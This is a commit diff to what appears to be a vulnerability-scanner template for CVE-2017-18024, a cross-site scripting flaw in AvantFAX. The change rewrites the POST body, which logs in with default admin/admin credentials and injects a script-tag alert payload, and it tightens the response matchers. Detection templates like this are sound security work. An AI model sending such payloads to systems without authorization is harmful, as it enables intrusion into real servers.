minor update

cves/2017/CVE-2017-18024.yaml

@@ -18,16 +18,17 @@ requests:
         POST / HTTP/1.1
         Host: {{Hostname}}
         Content-Type: application/x-www-form-urlencoded
-        Content-Length: 44
 
-        username=admin&password=admin&_submit_check=1&jlbqg%%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Eb7g0x=1
+        username=admin&password=admin&_submit_check=1&jlbqg<script>alert("{{randstr}}")</script>b7g0x=1
 
     matchers-condition: and
     matchers:
       - type: word
         words:
-          - '</script><script>alert(document.domain)</script>'
+          - '<script>alert("{{randstr}}")</script>'
+          - 'AvantFAX'
         part: body
+        condition: and
 
       - type: status
         status: